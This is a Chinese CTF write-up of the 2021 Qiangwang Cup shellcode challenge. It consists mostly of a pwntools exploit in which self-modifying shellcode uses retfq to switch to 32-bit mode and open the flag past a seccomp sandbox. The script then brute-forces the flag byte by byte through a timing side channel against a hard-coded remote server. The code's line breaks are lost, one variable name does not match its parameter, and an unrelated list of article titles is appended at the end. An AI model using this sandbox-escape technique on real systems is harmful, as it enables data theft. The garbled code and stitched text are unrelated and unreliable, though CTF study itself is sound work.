前言:由于个别原因这个比赛忘记参加了,所以赛后挑选了一道测信道攻击的题来进行复现,这个题开启了沙盒,采用测信道爆破flag,大概思路:使用retf切换到32位open来进行open('./flag'),retfq再回到64位的write和read就可以了,此题禁用了open所以使用32位的open,如果禁用了write就使用32位的write,同理,具体代码分析,懂汇编就能看懂这里就不赘述了,参考了别的大佬的exp,大概就是这样写的,至于系统调用号可以参考前篇调用号文章

exp:

from pwn import *
elf=ELF('./shellcode')def pwn(io,idx,ch):append_x86 = '''push ebxpop ebx'''shellcode_x86 = '''/*fp = open("flag")*/mov esp,0x40404140push 0x67616c66push esppop ebxxor ecx,ecxmov eax,5int 0x80mov ecx,eax'''shellcode_flag = '''push 0x33push 0x40404089retfq/*read(fp,buf,0x70)*/mov rdi,rcxmov rsi,rspmov rdx,0x70xor rax,raxsyscall'''if index == 0:shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-3;ret".format(index,ch)else:shellcode_flag+="cmp byte ptr[rsi+{0}],{1};jz $-4;ret".format(index,ch)shellcode_x86 = asm(shellcode_x86)shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')shellcode = ''append = '''push rdxpop rdx'''shellcode_mmap = '''/*mmap(0x40404040,0x7e,7,34,0,0)*/push 0x40404040 /*set rdi*/pop rdipush 0x7e /*set rsi*/pop rsipush 0x40 /*set rdx*/pop raxxor al,0x47push raxpop rdxpush 0x40 /*set r8*/pop raxxor al,0x40push raxpop r8push rax /*set r9*/pop r9/*syscall*/push rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x31],clpush 0x5fpop rcxxor byte ptr[rax+0x32],clpush 0x22 /*set rcx*/pop rcxpush 0x40/*set rax*/pop raxxor al,0x49'''shellcode_read = '''/*read(0,0x40404040,0x70)*/push 0x40404040pop rsipush 0x40pop raxxor al,0x40push raxpop rdixor al,0x40push 0x70pop rdxpush rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x57],clpush 0x5fpop rcxxor byte ptr[rax+0x58],clpush rdxpop raxxor al,0x70'''shellcode_retfq = '''push rbxpop raxxor al,0x40push 0x72pop rcxxor byte ptr[rax+0x40],clpush 0x68pop rcxxor byte ptr[rax+0x40],clpush 0x47pop rcxsub byte ptr[rax+0x41],clpush 0x48pop rcxsub byte ptr[rax+0x41],clpush rdipush rdipush 0x23push 0x40404040pop raxpush rax'''shellcode += shellcode_mmapshellcode += appendshellcode += shellcode_readshellcode += appendshellcode += shellcode_retfqshellcode += appendshellcode = asm(shellcode,arch = 'amd64',os = 'linux')print(hex(len(shellcode)))io.sendline(shellcode)sleep(0.5)io.sendline(shellcode_x86 + 0x29*b'\x90' + shellcode_flag)
index = 0
a=[]
while True:for ch in range(0x20,127):#io=process('./chall')io=remote('39.105.137.118',50050)pwn(io,index,ch)start = time.time()try:io.recv(timeout=2)print("".join([chr(i) for i in a]))except:passend=time.time()io.close()if end-start>1.5:a.append(ch)print("".join([chr(i) for i in a]))breakelse:print("".join([chr(i) for i in a]))breakindex = index + 1
print("".join([chr(i) for i in a]))

总结:学到了测信道爆破flag

强网杯2021CTF 强网先锋shellcode侧信道攻击复现相关推荐

  1. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol52]43 为AES 对抗侧信道攻击的防御

    这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 为AES描述一些基础的(可能无 ...

  2. [密码学基础][每个信息安全博士生应该知道的52件事][Bristol Cryptography][第39篇]侧信道攻击和故障攻击有什么区别

    这是一系列博客文章中最新的一篇,该文章列举了"每个博士生在做密码学时应该知道的52件事":一系列问题的汇编是为了让博士生们在第一年结束时知道些什么. 侧信道攻击(Side-chan ...

  3. Intel CPU 易受新型的 SGAxe 和 CrossTalk 侧信道攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 网络安全研究员发现了两种针对当代 Intel 处理器的攻击,可泄露CPU 可新执行环境 (TEE) 中的敏感信息. 第一种攻击名为 & ...

  4. 【安全硬件】Chap.6 IC和半导体产业的全球化;芯片生产猜疑链与SoC设计流程;可能会存在的安全威胁: 硬件木马、IP盗版、逆向工程、侧信道攻击、伪造

    [安全硬件]Chap.6 IC和半导体产业的全球化:芯片生产猜疑链与SoC设计流程:可能会存在的安全威胁: 硬件木马.IP盗版.逆向工程.侧信道攻击.伪造 背景 1. IC和半导体产业的全球化 2. ...

  5. 基于Montgomery算法的高速、可配置 RSA密码IP核硬件设计系列(五)——模幂模块(抵抗侧信道攻击)模块的设计实现方案

    基于Montgomery算法的高速.可配置RSA密码IP核硬件设计系列(五) 2.2 模幂模块设计(抵抗测信道攻击模块) 2.2.1 模幂模块及内部模块的功能 2.2.3 模幂各模块的实现方案 2.2 ...

  6. CATalyst——针对末级缓存侧信道攻击的防御技术

    CATalyst: Defeating Last-Level Cache Side Channel Attacks inCloud Computing, HPCA'16 (A类), 2016年3月[1 ...

  7. 简单来看看什么是侧信道攻击

    前言 之前在看逻辑层面的安全,其中有个旁路攻击,书里面说这玩意就是防范侧信道攻击. 旁路攻击又被称为旁路信道攻击或侧信道攻击.这种硬件层面的攻击通常以从电子设备获取机密信息为目标.对于密码算法,加密是 ...

  8. 基于RF算法的侧信道攻击方法研究

    摘要 目前,随机森林(RF)算法在侧信道分析领域的潜力还没有得到充分利用.文章提出一种基于RF算法的侧信道攻击方法,分别从输入数据处理和参数控制两方面进行模型优化,在特征点选择和RF算法参数调优两方面 ...

  9. 漏洞挖掘——实验11 侧信道攻击+TCP/IP实验

    漏洞挖掘前言 题目 Lab 侧信道攻击 + TCP/IP实验 Pre 1.用IE访问某些网站的时候,输入javascript:alert(document.cookie)会有什么反应,解释原因. 2. ...

  10. 头歌-信息安全技术-Spectre侧信道攻击过程验证

    头歌-信息安全技术-Spectre侧信道攻击过程验证 一.第1关:Cache vs Memory 1.编程要求 2.评测代码 二.第2关:基于Flush+Reload的侧信道实现 1.编程要求 2.评 ...

最新文章

  1. 模仿nginx修改进程名
  2. Linux内核同步:RCU
  3. Windows8.1+Eclipse搭建Hadoop2.7.2本地模式开发环境
  4. MSXML解析[转]
  5. 这张「二维码」火到了GitHub热榜第一:扫一扫,打破系统边界,文件秒传
  6. python游戏程序-python游戏程序
  7. 正儿八经的详细讲java内部类
  8. python类的使用(类定义,构造器,类属性,方法)
  9. 核心频率个加速频率_仅少数Ryzen 9 3900X能摸到官方最大加速频率,其他处理器也有这问题...
  10. java 递归深度优先遍历_Java基础 - 二叉树的遍历之深度优先遍历(递归遍历)
  11. java笔记高级部分
  12. 台式计算机内存两个缺口,台式机内存条正确安装方法|台式电脑怎样安装两个内存条...
  13. c语言青蛙游戏,c语言:一只青蛙一次可以跳上1级台阶,也可以跳上2级。求该青蛙跳上一个n级的台阶总共有多少种跳法?...
  14. WebService的简单案例记录(Java)
  15. c#访问其他服务器的共享文件夹,C# 实现访问网络共享文件夹
  16. secureCRT无法输入
  17. 如何防护 DDoS 攻击?
  18. yolov5 目标检测算法
  19. 软件经济学三:降低软件规模或者复杂度
  20. Cortex-M0体系结构

热门文章

  1. 地市级地铁数据管理信息系统解决方案
  2. 自动控制原理复习第七章——非线性系统分析
  3. CAD工具——导出JPG
  4. linux制作win7启动u盘
  5. 2021《考研数学接力题典1800》勘误表(附学霸高分笔记)
  6. 论文笔记:3DMM(ACM1999)
  7. Git提交代码的流程
  8. R 语言 iris 数据集的可视化
  9. python定时任务管理系统_python定时任务最强框架APScheduler详细教程
  10. CSS常见面试题(持续更新)